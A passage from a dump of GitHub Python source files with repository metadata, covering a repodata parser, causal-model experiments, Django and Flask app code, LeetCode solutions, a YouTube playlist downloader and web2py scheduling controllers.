pkg.name,\n 'license': pkg.rpm_license,\n 'url': pkg.url,\n 'checksum': pkg.pkgId,\n 'summary': pkg.summary,\n 'packagesize': int(pkg.size_package),\n 'changelogs': [{'author': log[0],\n 'date': int(log[1]),\n 'text': log[2]} for log in pkg.changelogs],\n 'release': pkg.release,\n 'checksum_type': pkg.checksum_type,\n 'requires': self.__get_field_info(pkg.requires),\n 'sourcerpm': pkg.rpm_sourcerpm,\n 'packager': pkg.rpm_packager\n }\n return dict((k, v)\n for k, v in pkg_info.items()\n if v is not None)\n\n def __get_repomd_path(self):\n tmpdir = tempfile.mkdtemp(prefix='parse_repomd_')\n try:\n repomd_path = download_file(\n self.__full_location('repodata/repomd.xml'),\n tmpdir,\n ssl_cert=self.__ssl_cert,\n ssl_key=self.__ssl_key,\n ca_info=self.__ssl_cainfo)\n return tmpdir, repomd_path\n except Exception:\n shutil.rmtree(tmpdir)\n raise\n\n @staticmethod\n def __extract_archive(archive_path):\n \"\"\"\n Parameters\n ----------\n archive_path : str\n Path to archive\n\n Return\n ------\n str\n Path to extracted file\n \"\"\"\n archive_content = None\n extracted_file = re.sub(r'\\.gz|\\.bz2|\\.xz', '', archive_path)\n if re.search(r'\\.gz$', archive_path, re.IGNORECASE):\n with gzip.open(archive_path, 'rb') as f:\n archive_content = f.read()\n if re.search(r'\\.bz2$', archive_path, re.IGNORECASE):\n with open(archive_path, 'rb') as f:\n archive_content = BZ2Decompressor().decompress(f.read())\n if re.search(r'\\.xz$', archive_path, re.IGNORECASE):\n with open(archive_path, 'rb') as f:\n archive_content = LZMADecompressor().decompress(f.read())\n if extracted_file is not None:\n with open(extracted_file, 'wb') as f:\n f.write(archive_content)\n os.remove(archive_path)\n return extracted_file\n\n @_with_repodata_files\n def iter_module_streams(self):\n \"\"\"\n Iterates over repository module streams.\n\n Yields\n ------\n tuple(Modulemd.Module, Modulemd.ModuleStreamV2)\n Next module stream object.\n \"\"\"\n if not self.is_modular():\n return\n supported_version = Modulemd.ModuleStreamVersionEnum.TWO\n modules_path = self._files_cache['modules']\n modules_idx = Modulemd.ModuleIndex.new()\n ret, failures = modules_idx.update_from_file(modules_path, True)\n if not ret:\n raise Exception('can not update module index')\n for module_name in modules_idx.get_module_names():\n module = modules_idx.get_module(module_name)\n for stream in module.get_all_streams():\n # ensure that module metadata is valid\n stream.validate()\n # currently we support only version 2 module metadata\n stream_mdversion = stream.get_mdversion()\n if stream_mdversion != supported_version:\n raise NotImplementedError(\n f'{stream_mdversion} metadata version is not '\n f'supported yet'\n )\n yield module, stream\n\n def _download_files(self):\n \"\"\"Download and decompress records files\"\"\"\n repomd = cr.Repomd(self.__repomd_path)\n local_file_url = {}\n try:\n for rec in repomd.records:\n file_path = download_file(\n self.__full_location(rec.location_href),\n self.__repo_dir,\n ssl_cert=self.__ssl_cert,\n ssl_key=self.__ssl_key,\n ca_info=self.__ssl_cainfo\n )\n # unpack sqlite databases and modules.yaml so that we can work\n # with them\n if re.search(r'(\\.sqlite|modules.*?)\\.(gz|bz2|xz)$', file_path,\n re.IGNORECASE):\n file_path = self.__extract_archive(file_path)\n local_file_url[rec.type] = file_path\n self._files_cache = local_file_url\n return local_file_url\n except Exception:\n shutil.rmtree(self.__repomd_path)\n raise\n","repo_name":"AlmaLinux/albs-node","sub_path":"build_node/utils/repodata_parser.py","file_name":"repodata_parser.py","file_ext":"py","file_size_in_byte":21312,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"37457185072","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom causalgraphicalmodels.csm import StructuralCausalModel, linear_model\nfrom sgd import SGD\n\nDATA_FILE = \"./training_data.csv\"\n\ndef rand_n_ints(low=0, high=10, size=(10)):\n return 1. * np.random.random_integers(low, high, size=size)\n\ndef normalize(v, vec):\n vec = np.array(vec)\n norm=np.linalg.norm(vec, ord=1)\n print(norm)\n if norm==0:\n norm=np.finfo(vec.dtype).eps\n return v/norm\n\ndef do_multiple(variable_list, scm):\n scm_dos = scm.do(variable_list.pop())\n for v in variable_list:\n scm_dos = scm_dos.do(v)\n\n return scm_dos\n\ndef simulate_pushes(scm, num_pushes):\n ds = scm.sample(n_samples=1)\n plt.plot(ds.goal_x, ds.goal_y, 'ro')\n\n for i in range(0,num_pushes):\n intervention_vars = {\"init_x\": ds.final_x, \"init_y\": ds.final_y,\n \"goal_x\": ds.goal_x, \"goal_y\": ds.goal_y}\n\n scm_do = do_multiple(list(intervention_vars), scm)\n\n print(ds.head())\n\n plt.plot(ds.init_x, ds.init_y, 'bo')\n plt.text(ds.init_x * (1 + 0.01), ds.init_y * (1 + 0.01) , i, fontsize=12)\n # plt.plot(ds.final_x, ds.final_y, 'go')\n plt.quiver(ds.init_x,ds.init_y, ds.dist_x, ds.dist_y,)\n\n ds = scm_do.sample(n_samples=1, set_values=intervention_vars)\n\n plt.show()\n\n\ndef get_coefficients(df, child, parents):\n y = df[child].values\n X = np.column_stack((df[i].values for i in parents))\n\n reg = LinearRegression().fit(X, y)\n\n coefs = reg.coef_\n intercept = reg.intercept_\n\n print(\"Score: {}\".format(reg.score(X, y)))\n\n return intercept, coefs\n\n\ndef scm_to_linear_scm(scm, ds, n_samples=100):\n linear_scm_model = {}\n\n for node, model in scm.assignment.items():\n print(\"Node: {} Items: {}\".format(node, model))\n parents = model.parents\n if parents:\n intercept, coefs = get_coefficients(ds, node, parents)\n linear_scm_model[node] = linear_model(parents, coefs, offset=intercept, noise_scale=.1)\n # print(\"mu: {}, std: {}\".format(mu, std))\n print(\"PARENTS: {}\".format(parents))\n print(\"COEFFS: {}\".format(coefs))\n\n else:\n mu = np.mean(ds[node])\n std = np.std(ds[node])\n\n structural_eq = lambda n_samples: np.random.normal(loc=mu, scale=std, size=n_samples)\n linear_scm_model[node] = structural_eq\n\n return StructuralCausalModel(linear_scm_model)\n\ndef compare_scms(scm1, scm2):\n intervention_vars = {\"init_x\": np.arange(0,3), \"init_y\": np.arange(0,3),\n \"goal_x\": np.arange(7,10), \"goal_y\": np.arange(7,10)}\n\n\n scm1_do = do_multiple(list(intervention_vars), scm1)\n scm2_do = do_multiple(list(intervention_vars), scm2)\n\n print(\"SCM 1\")\n ds1 = scm1_do.sample(n_samples=3, set_values=intervention_vars)\n print(ds1.head())\n print(\"SCM 2\")\n ds2 = scm2_do.sample(n_samples=3, set_values=intervention_vars)\n print(ds2.head())\n# scm = StructuralCausalModel({\n# \"goal_x\": lambda n_samples: np.random.normal(loc = 2., scale=2.0, size=n_samples),\n# \"goal_y\": lambda n_samples: np.random.normal(loc = 2., scale=2.0, size=n_samples),\n# \"init_x\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n# \"init_y\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n# \"dist_x\": lambda goal_x, goal_y, init_x, init_y, n_samples: np.random.normal(\n# loc=normalize(goal_x - init_x, [goal_x - init_x, goal_y - init_y]), scale=0.2),\n# \"dist_y\": lambda goal_x, goal_y, init_x, init_y, n_samples: np.random.normal(\n# loc=normalize(goal_y - init_y, [goal_x - init_x, goal_y - init_y]), scale=0.2),\n# \"final_x\":lambda dist_x, init_x, n_samples: np.random.normal(init_x + dist_x, scale=0.1),\n# \"final_y\":lambda dist_y, init_y, n_samples: np.random.normal(init_y + dist_y, scale=0.1),\n# })\n\ndef online_learning_example(it):\n\n # Initialize weights to random value\n weight_gt = [2, -3]\n weight_final = np.random.randint(-10, 10, size =2)\n # weight_final = np.array([0, 2])\n\n ground_truth_scm = StructuralCausalModel({\n \"init_x\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n \"init_y\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n \"push_x\": lambda n_samples: np.random.normal(loc = 0., scale=1.0, size=n_samples),\n \"push_y\": lambda n_samples: np.random.normal(loc = 0., scale=1.0, size=n_samples),\n \"final_x\":linear_model([\"init_x\", \"push_x\"], weight_gt, noise_scale=.1) ,\n \"final_y\":linear_model([\"init_y\", \"push_y\"], weight_gt, noise_scale=.1) ,\n })\n\n\n df_gt = ground_truth_scm.sample(n_samples=it)\n sgd = SGD(.001, 1, init_weights=weight_final)\n for i in range(it):\n gt_init_x = [ df_gt.init_x[i] ]\n gt_init_y = [ df_gt.init_y[i] ]\n gt_push_x = [ df_gt.push_x[i] ]\n gt_push_y = [ df_gt.push_y[i] ]\n gt_final_x = [ df_gt.final_x[i] ]\n gt_final_y = [ df_gt.final_y[i] ]\n\n intervention_vars = {\"init_x\": gt_init_x, \"init_y\": gt_init_y,\n \"push_x\": gt_push_x, \"push_y\": gt_push_y}\n pred_scm = StructuralCausalModel({\n \"init_x\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n \"init_y\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n \"push_x\": lambda n_samples: np.random.normal(loc = 0., scale=3.0, size=n_samples),\n \"push_y\": lambda n_samples: np.random.normal(loc = 0., scale=3.0, size=n_samples),\n \"final_x\":linear_model([\"init_x\", \"push_x\"], weight_final, noise_scale=.1) ,\n \"final_y\":linear_model([\"init_y\", \"push_y\"], weight_final, noise_scale=.1) ,\n })\n\n pred_scm_do = do_multiple(list(intervention_vars), pred_scm)\n df_pred = pred_scm_do.sample(n_samples=1,\n set_values=intervention_vars)\n\n pred_final_x = df_pred.final_x\n pred_final_y = df_pred.final_y\n\n plt.plot(df_gt.init_x[i], df_gt.init_y[i], 'bo')\n text = \"True_weights: {}\\n Predicted weights {}\".format(weight_gt, weight_final)\n plt.text(df_gt.init_x[i] * (1 + 0.01), df_gt.init_y[i] * (1 + 0.01) , text, fontsize=12)\n # plt.plot(df_gt.final_x, df_gt.final_y, 'go')\n plt.quiver(gt_init_x,gt_init_y, gt_final_x, gt_final_y, color=\"b\")\n plt.quiver(gt_init_x, gt_init_y, pred_final_x, pred_final_y, color=\"r\")\n\n weight_final, rmse_x = sgd.fit(gt_final_x, pred_final_x, [gt_init_x, gt_push_x])\n # weight_final_y, rmse_y = sgd.fit(gt_final_y, gt_final_y)\n\n plt.pause(1.)\n plt.clf()\n plt.show()\n\n\n\n\nscm = StructuralCausalModel({\n \"goal_x\": lambda n_samples: np.random.normal(loc = 2., scale=2.0, size=n_samples),\n \"goal_y\": lambda n_samples: np.random.normal(loc = 2., scale=2.0, size=n_samples),\n \"init_x\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n \"init_y\": lambda n_samples: np.random.normal(loc = 8., scale=2.0, size=n_samples),\n \"dist_x\": linear_model([\"goal_x\", \"init_x\"], [1, -1], noise_scale=.1),\n \"dist_y\": linear_model([\"goal_y\", \"init_y\"], [1, -1], noise_scale=.1),\n \"final_x\":linear_model([\"init_x\", \"dist_x\"], [1, .2], noise_scale=.1) ,\n \"final_y\":linear_model([\"init_y\", \"dist_y\"], [1, .2], noise_scale=.1) ,\n})\n\nds = scm.sample(n_samples=1000)\n\n# ds.to_csv(DATA_FILE)\n# print(list(scm.assignment.items()))\n# print(ds[\"init_x\"].values)\n# print(get_coefficients(ds,\"dist_x\", [\"goal_x\", \"goal_y\", \"init_x\", \"init_y\"]))\n\n# lin_scm = scm_to_linear_scm(scm, ds)\n\nonline_learning_example(20)\n\n# compare_scms(scm, lin_scm)\n\n","repo_name":"JakeBrawer/causality","sub_path":"causality.py","file_name":"causality.py","file_ext":"py","file_size_in_byte":7878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33797168550","text":"#-*- coding: utf-8 -*-\nfrom django.dispatch import Signal\n\nfrom unicodedata import normalize\n\n#signal individuais\npagamento_aprovado = Signal()\npagamento_cancelado = Signal()\npagamento_aguardando = Signal()\npagamento_em_analise = Signal()\npagamento_completo = Signal()\npagamento_devolvido = Signal()\n#signal geral é sempre enviado\npagamento_atualizado = Signal()\n\n\nclass PagSeguroSignal(object):\n \"\"\"\n Emissor de sinal para aplicações sobre o status do pagamento.\n\n A cada nova requisição do PagSeguro é enviado um signal diferente\n e sempre é enviado o signal pagamento_atualizado.\n\n O sinais devem ser capturados pela sua aplicação, que deve usar os dados\n recebidos do PagSeguro.\n \"\"\"\n\n def __init__(self, dados):\n \"\"\"\n Constrói um objeto emissor de sinal baseado nos dados da transação do PagSeguro.\n\n Os dados enviados pelo PagSeguro devem conter StatusTranscao e Referencia\n para evitar erros.\n \"\"\"\n status = dados['StatusTransacao']\n self.status = normalize('NFKD', status.decode('utf-8')).encode('ASCII','ignore')\n self.referencia = dados['Referencia']\n self.dados = dados\n\n def send(self):\n \"\"\"\n Envia o sinal padrão para atualização (pagmento_atualizado) de pagamento.\n\n Faz mapemento entre o StatusTransacao enviado pelo PagSeguro e o Signal\n correpondente a ser emitido.\n \"\"\"\n status_map = {\n 'Aprovado': pagamento_aprovado,\n 'Cancelado': pagamento_cancelado,\n 'Aguardando Pagamento': pagamento_aguardando,\n 'Aguardando Pagto': pagamento_aguardando, # O PagSeguro usa abreviado em alguns casos.\n 'Em Analise': pagamento_em_analise,\n 'Completo': pagamento_completo,\n 'Devolvido': pagamento_devolvido,\n }\n pagamento_signal = status_map[self.status]\n pagamento_signal.send(sender=self)\n pagamento_atualizado.send(sender=self)\n","repo_name":"fabiocerqueira/django-pagseguro","sub_path":"django_pagseguro/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"pt","doc_type":"code","stars":61,"dataset":"github-code","pt":"21"} +{"seq_id":"18211074438","text":"from datetime import datetime\r\n\r\ndef sampleResponse(input_text):\r\n\r\n userMessage = str(input_text).lower()\r\n\r\n if userMessage in (\"hello\", \"hi\", \"start\",):\r\n return \"HI, WELCOME\"\r\n\r\n\r\n if userMessage in (\"time\", \"time?\"):\r\n now = datetime.now()\r\n dateTime = now.strftime(\"%d/%m/%y, %H:%M\")\r\n\r\n return str(dateTime)\r\n\r\n\r\n return \"HI THIS IS A BOT\"","repo_name":"Aditya-Koundinya-r/airline_tracker-bot","sub_path":"responses.py","file_name":"responses.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10954675787","text":"from typing import Optional\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\ndef mergeTwoLists(list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]:\n\t\n\tif not list1:\n\t\treturn list2\n\tif not list2:\n\t\treturn list1\n\tif not list1 and not list2:\n\t\treturn None\n\t\n\tif list2.val < list1.val:\n\t\tlist1, list2 = list2, list1\n\t\n\thead = list1\n\t\n\twhile list1 and list2:\n\t\t\t\n\t\t\t# end of list1 so append list2 and return head\n\t\t\tif not list1.next:\n\t\t\t\tlist1.next = list2\n\t\t\t\treturn head\n\t\t\t\n\t\t\t# next value of list2 is smaller than currecnt head of list2 so move one forward\n\t\t\tif list1.next.val < list2.val:\n\t\t\t\tlist1 = list1.next\n\t\t\t# else \n\t\t\telse:\n\t\t\t\tlist2, list1.next = list1.next, list2\n\t\t\t\tlist1 = list1.next\n\t\t\n\treturn head\n\t\t\t\n\t\t\t\n\t\t\t","repo_name":"A7fa7fa/python-leetcode","sub_path":"0021 - merge-two-sorted-lists/merge-two-sorted-lists.py","file_name":"merge-two-sorted-lists.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73824094771","text":"'''\ndownload youtube playlist\nAuthor: Amit Berger\n'''\nimport errno\nimport argparse\nimport os\nimport youtube_playlist_downloader\n\n\ndef main():\n args = PARSER.parse_args()\n try:\n os.mkdir(args.destination_folder)\n\n except OSError as error:\n if error.errno != errno.EEXIST:\n raise\n\n playlist = youtube_playlist_downloader.YoutubePlaylist(args.playlist_url)\n playlist.download(args.destination_folder,\n args.start_index,\n args.end_index)\n\n\nif __name__ == \"__main__\":\n PARSER = argparse.ArgumentParser(description='Download every video from the wanted playlist \\\n in the best quality store them in the destination folder')\n PARSER.add_argument('-p',\n '--playlist_url',\n required=True,\n dest='playlist_url',\n help='the playlist\\'s url')\n PARSER.add_argument('-d',\n '--destination_folder',\n required=True,\n dest='destination_folder',\n help='the videos will be saved in this folder')\n PARSER.add_argument('-f',\n '--start_index',\n type=int,\n dest='start_index',\n help='from video at index')\n PARSER.add_argument('-t',\n '--end_index',\n type=int,\n dest='end_index',\n help='to video at index')\n main()\n","repo_name":"bergeramit/YoutubePlaylistDownloader","sub_path":"download_playlist.py","file_name":"download_playlist.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"388562740","text":"from flask import render_template, jsonify, request\nfrom application.models.customer import Customer\nfrom application.models.album import Album\nfrom application.models.artist import Artist\nfrom application.models.record_label import Record_label\nfrom application.models.genre import Genre\nfrom application.models.loan_procedure import Loan_procedure\n\nfrom application import app, service\n\n# shows all customers\n@app.route('/customers', methods=['GET'])\ndef show_customers():\n error = \"\"\n customers = service.get_all_customers()\n if len(customers) == 0:\n error = \"There are no employees to display\"\n return render_template('customer.html', customers=customers, message=error, title=\"All Customer Information\")\n # return jsonify(customers)\n\n# this is a ReST endpoint - only returns data\n# shows only 1 customer\n@app.route('/customers/', methods=['GET'])\ndef show_customer(cust_id):\n error = \"\"\n customer = service.get_customer_by_id(cust_id)\n if not customer:\n return jsonify(\"There is no employee with ID: \" + str(cust_id))\n else:\n print(customer.first_name, customer.last_name)\n # return jsonify(customer)\n return render_template('customerIndividual.html', customer=customer, cust_id=cust_id, message=error, title=\"Customer Information\")\n\n# shows the details of just one album\n@app.route('/album/', methods=['GET'])\ndef get_album(album_id):\n error = \"\"\n album = service.get_album_by_id(album_id)\n if not album:\n error = \"There is no album with ID: \" + str(album_id)\n return render_template('albumIndividual.html', album=album, message=error, album_id=album_id, title=album.album_name)\n # return jsonify(album)\n\n# adds a customer to the customer table, used postman\n@app.route('/customers', methods=['POST'])\ndef create_customer():\n # data is a dictionary\n data = request.get_json()\n # need to create an object of type Manager with the data\n cust = Customer(first_name = data['first_name'],last_name = data['last_name'], email = data['email'], mobile_num=data['mobile_num'], address=data['address'], postcode=data['postcode'], join_date=data['join_date'] )\n print(cust)\n service.save_new_customer(cust)\n return jsonify(cust)\n\n# gets artist by id and in html lists that artists albums\n@app.route('/artists/', methods=['GET'])\ndef get_artist(art_id):\n error = \"\"\n artist = service.get_artist_by_id(art_id)\n if not artist:\n error = \"There is no artist with ID: \" + str(art_id)\n return render_template('artist.html', artist=artist, message=error, title=\"Artists and Albums\")\n # return jsonify(artist)\n\n\n# @app.route('/customers/', methods=['GET'])\n# def get_customer_by_last_name(last_name):\n# error = \"\"\n# customer = service.get_customer_by_last_name(last_name)\n# if not customer:\n# error = \"There is no customer with surname: \" + str(last_name)\n# else:\n# for l in customer.loans:\n# album=service.get_album_by_id(l.loan_album_id)\n# return render_template('customer_loan_history.html', album=album, customer=customer, last_name=last_name, message=error)\n# # return jsonify(customer)\n\n\n@app.route('/customers/', methods=['GET'])\ndef get_customer_by_last_name(last_name):\n error = \"\"\n album_names =[]\n customer = service.get_customer_by_last_name(last_name)\n if not customer:\n error = \"There is no customer with surname: \" + str(last_name)\n else:\n for l in customer.loans:\n album = service.get_album_by_id(l.loan_album_id)\n album_names.append(album.album_name)\n return render_template('customer_loan_history.html', album_names=album_names, customer=customer, last_name=last_name, message=error)\n # return jsonify(customer)\n\n# SEARCH GENRE BY NAME AND RETURN ALL ALBUMS\n@app.route('/genre/', methods=['GET'])\ndef get_genre(genre_name):\n error = \"\"\n artist_first_names=[]\n artist_last_names=[]\n genre = service.get_genre_by_genre_name(genre_name)\n if not genre:\n error = \"There is no genre with this name:\" + str(genre_name)\n else:\n for a in genre.albumsG:\n artist = service.get_artist_by_id(a.artist_id)\n artist_first_names.append(artist.first_name)\n artist_last_names.append(artist.last_name)\n return render_template('genre.html', artist_first_names=artist_first_names, artist_last_names=artist_last_names, genre=genre, genre_name=genre_name, artist=Artist, message=error, title=\"Albums by Genre\")\n # return jsonify(genre)\n\n# ALL ARTISTS\n@app.route('/artists', methods=['GET'])\ndef show_artists():\n error = \"\"\n artists = service.get_all_artists()\n if len(artists) == 0:\n error = \"There are no artist's to display\"\n return render_template('allArtists.html', artists=artists, message=error, title=\"All Artists\")\n # return jsonify(artists)\n\n# ALL LOANS\n@app.route('/loans', methods=['GET'])\ndef show_loans():\n error = \"\"\n loans = service.get_all_loans()\n if len(loans) == 0:\n error = \"There are no loans to display\"\n return render_template('loan_procedure.html', loans=loans, customer=Customer, loan_cust_id=Customer.cust_id, message=error, title=\"All loans\")\n # return jsonify(loans)","repo_name":"VixGib/TEAM-3-MySQL-Album-Library","sub_path":"FayeFlaskLibrary/flaskSQLalchemyLibrary/application/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":5290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18217608442","text":"class Solution:\n def subStrHash(self, s: str, power: int, modulo: int, k: int, hashValue: int) -> str:\n maxPower = pow(power, k, modulo)\n hash = 0\n\n def val(c: str) -> int:\n return ord(c) - ord('a') + 1\n\n for i, c in reversed(list(enumerate(s))):\n hash = (hash * power + val(c)) % modulo\n if i + k < len(s):\n hash = (hash - val(s[i + k]) * maxPower) % modulo\n if hash == hashValue:\n bestLeft = i\n\n return s[bestLeft:bestLeft + k]\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/2156. Find Substring With Given Hash Value/2156.py","file_name":"2156.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"24230490129","text":"from django.core.management.base import NoArgsCommand, CommandError\n\nfrom emailer.views import _send_email\nfrom shop.models import Product, NotifyOutOfStock, UniqueProduct, Discount\nfrom random import randint\n\nfrom datetime import datetime, timedelta\n\n\nclass Command(NoArgsCommand):\n help = 'Sends out emails to anyone who requested notification when something comes back in stock.'\n\n def handle_noargs(self, **options):\n\n # FIND ALL OF THE NOTIFICATIONS FIRST\n notifications = NotifyOutOfStock.objects.all()\n \n # NOW LET'S SEE IF ANY OF THOSE PRODUCTS ARE IN STOCK\n for n in notifications:\n\n product = n.product\n \n if product.in_stock():\n \n try:\n \n # MAKE A DISCOUNT CODE\n discount = Discount.objects.create(\n discount_code=randint(10000, 99999),\n name=n.email,\n discount_value=0.05,\n expiry_date=(datetime.now() + timedelta(days=3)),\n is_active=True,\n )\n \n \n # SEND AN EMAIL \n subject_line = \"%s - back in stock at minrivertea.com\" % product.name\n template = 'shop/emails/out_of_stock_notification.txt'\n \n _send_email(\n n.email, \n subject_line, \n template, \n extra_context={'product': product, 'discount_code': discount.discount_code}, \n ) \n \n # DELETE THE NOTIFICATION\n n.delete()\n \n \n except:\n pass\n \n \n # SKIP TO THE NEXT NOTIFICATION \n continue\n \n \n \n","repo_name":"minrivertea/minrivertea","sub_path":"shop/management/commands/send_out_of_stock_notifications.py","file_name":"send_out_of_stock_notifications.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"36928516761","text":"# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n## - api is an example of Hypermedia API support and access control\n#########################################################################\nimport json\nimport time\nfrom datetime import datetime\n\n\ndef index():\n \"\"\"\n Index: shows user schedules\n \"\"\"\n redirect(URL('manager', 'manage'))\n return locals()\n\n@auth.requires_login()\ndef manage():\n \"\"\"\n Network: create network\n \"\"\"\n networks = []\n for network in db(db.network.user_id==auth.user.id).select():\n networks.append({\n \"network_id\": str(network.id),\n \"title\": network.title,\n })\n return locals()\n\n@auth.requires_login()\ndef createNetwork():\n if request.env.request_method!='POST': raise HTTP(400)\n post = request.post_vars\n if db(db.network.title==post.title).select():\n return 'error'\n network = db.network.insert(title = post.title, user_id = post.user_id)\n response = {\n 'title': post.title,\n 'network_id': network.id, \n }\n return json.dumps(response)\n\n@auth.requires_login()\ndef viewNetwork():\n if request.env.request_method!='GET': raise HTTP(400)\n network_id =request.vars.id\n terms = db(db.network_term.network_id==network_id).select()\n termList = []\n for t in terms:\n term = db(db.term.id==t.term_id).select().first()\n termList.append({\n \"term_id\": str(term.id),\n \"title\":term.title,\n })\n return json.dumps(termList)\n\n@auth.requires_login()\ndef removeNetwork():\n if request.env.request_method!='DELETE': raise HTTP(400)\n post = request.vars\n network_select = db(db.network.id==post.id)\n network = network_select.select().first()\n network_term = db(db.network_term.network_id==network.id).select()\n for t in network_term:\n term_select = db(db.term.id==t.term_id)\n term = term_select.select().first()\n class_term = db(db.class_term.term_id==term.id).select()\n for k in class_term:\n klass_select = db(db.klass.id==k.klass_id)\n klass = klass_select.select().first()\n class_timeslot = db(db.class_timeslot.klass_id==klass.id).select()\n for t in class_timeslot:\n timeslot_select = db(db.timeslot.id==t.timeslot_id)\n timeslot = timeslot_select.select().first()\n timeslot_select.delete()\n klass_select.delete()\n term_select.delete()\n network_select.delete()\n return\n\n@auth.requires_login()\ndef createTerm():\n if request.env.request_method!='POST': raise HTTP(400)\n post = request.post_vars\n term = db.term.insert(title = post.title)\n db.network_term.insert(network_id = post.network_id, term_id = term.id)\n response = {\n 'network_id': str(post.network_id),\n 'title': post.title,\n 'term_id': term.id,\n }\n return json.dumps(response)\n\n@auth.requires_login()\ndef viewTerm():\n if request.env.request_method!='GET': raise HTTP(400)\n term_id =request.vars.id\n klasses = db(db.class_term.term_id==term_id).select()\n klassList = []\n for k in klasses:\n klass = db(db.klass.id==k.klass_id).select().first()\n klassList.append({\n \"klass_id\": str(klass.id),\n \"title\":klass.title,\n })\n return json.dumps(klassList)\n\n@auth.requires_login()\ndef removeTerm():\n if request.env.request_method!='DELETE': raise HTTP(400)\n post = request.vars\n term_select = db(db.term.id==post.id)\n term = term_select.select().first()\n class_term = db(db.class_term.term_id==term.id).select()\n for k in class_term:\n klass_select = db(db.klass.id==k.klass_id)\n klass = klass_select.select().first()\n class_timeslot = db(db.class_timeslot.klass_id==klass.id).select()\n for t in class_timeslot:\n timeslot_select = db(db.timeslot.id==t.timeslot_id)\n timeslot = timeslot_select.select().first()\n timeslot_select.delete()\n klass_select.delete()\n term_select.delete()\n return\n\n@auth.requires_login()\ndef createKlass():\n if request.env.request_method!='POST': raise HTTP(400)\n post = request.post_vars\n #Teacher Stuff first\n teacher_id = db(db.teacher.name==post.teacher).update(name = post.teacher) or db.teacher.insert(name = post.teacher)\n print(teacher_id)\n klass_id = db.klass.insert(title = post.title, teacher_id = teacher_id)\n db.class_term.insert(klass_id = klass_id, term_id = post.term_id)\n response = {\n 'term_id': str(post.term_id),\n 'title': post.title,\n 'teacher': post.teacher,\n 'klass_id': klass_id,\n }\n return json.dumps(response)\n\n@auth.requires_login()\ndef viewKlass():\n if request.env.request_method!='GET': raise HTTP(400)\n klass_id =request.vars.id\n timeslots = db(db.class_timeslot.klass_id==klass_id).select()\n timeslotList = []\n for t in timeslots:\n timeslot = db(db.timeslot.id==t.timeslot_id).select().first()\n timeslotList.append({\n \"timeslot_id\": str(timeslot.id),\n \"meet_day\":timeslot.meet_day,\n \"start_time\":timeslot.start_time.strftime('%I:%M %p'),\n \"end_time\":timeslot.end_time.strftime('%I:%M %p'),\n })\n return json.dumps(timeslotList)\n\n@auth.requires_login()\ndef removeKlass():\n if request.env.request_method!='DELETE': raise HTTP(400)\n post = request.vars\n klass_select = db(db.klass.id==post.id)\n klass = klass_select.select().first()\n class_timeslot = db(db.class_timeslot.klass_id==klass.id).select()\n for t in class_timeslot:\n timeslot_select = db(db.timeslot.id==t.timeslot_id)\n timeslot = timeslot_select.select().first()\n timeslot_select.delete()\n klass_select.delete()\n return\n\n@auth.requires_login()\ndef createTimeslot():\n if request.env.request_method!='POST': raise HTTP(400)\n post = request.post_vars\n start_time = datetime.strptime(post.start, '%H:%M:%S').time()\n end_time = datetime.strptime(post.end, '%H:%M:%S').time()\n timeslot_id = db.timeslot.insert(meet_day = post.meet_day, start_time = start_time, end_time = end_time)\n db.class_timeslot.insert(timeslot_id = timeslot_id, klass_id = post.klass_id)\n response = {\n 'timeslot_id': str(timeslot_id),\n 'meet_day': post.meet_day,\n 'start_time': start_time.strftime('%I:%M %p'),\n 'end_time': end_time.strftime('%I:%M %p'),\n 'klass_id': str(post.klass_id), \n }\n return json.dumps(response)\n\n@auth.requires_login()\ndef removeTimeslot():\n if request.env.request_method!='DELETE': raise HTTP(400)\n post = request.vars\n timeslot_select = db(db.timeslot.id==post.id)\n timeslot = timeslot_select.select().first()\n timeslot_select.delete()\n return\n","repo_name":"BrushyAmoeba/school-scheduler","sub_path":"controllers/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":7148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24317000439","text":"# ! /usr/bin/env python\n#This script has a specified list of numbers, adds 1 to it, and prints the new list.\nlistofnumbers = ['22', '26', '92', '88', '54', '46']\n#Begin with a specified list of numbers\nnewlist = list()\n#Creates an empty list where the new numbers will be stored\nfor number in listofnumbers:\n#loops through each number in the list\n\tnewnumber = int(number) + 1\n#adds 1 to each of the numbers in the list\n\tnewlist.append(newnumber)\n#appends each additional new number to the previously empty list\nprint(\"Original list: 